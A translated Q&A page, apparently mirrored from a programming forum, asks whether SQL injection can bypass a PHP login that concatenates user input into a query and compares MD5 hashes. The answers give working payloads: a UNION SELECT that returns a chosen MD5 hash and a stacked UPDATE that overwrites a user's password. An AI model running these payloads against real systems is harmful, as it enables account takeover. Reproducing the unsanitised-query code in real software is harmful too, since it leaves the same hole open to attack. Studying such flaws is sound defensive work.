[英]sql injection change returned values
我最近想過這樣的事情:
$sql = "SELECT password FROM users WHERE user = '" . $_POST["user"] . "'";
$result = mysql_query($sql);
if (myql_num_rows($result) != 1) {
//Error
}
$data = mysql_fetch_array($result);
if ($data["password"] == md5($_POST["password"])) {
//Welcome
} else {
//Error
}
即使沒有使用參數化查詢或至少轉義,我也想不到一個適當的sql注入,你可以通過它注入Welcome
點。 您可能需要修改返回的密碼,其md5值可以用作密碼。
任何想法,如果這是可能的?
對用戶使用以下值:
obviouslyinvalidusername' union select MD5('password123') as password --
然后密碼password123
應該進行身份驗證。 我不知道此時您將登錄哪個用戶帳戶,因為該部分邏輯未顯示。
"'; UPDATE user SET password=MD5('fakepass') where username='username'"
這會將任意密碼作為md5哈希插入數據庫。
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.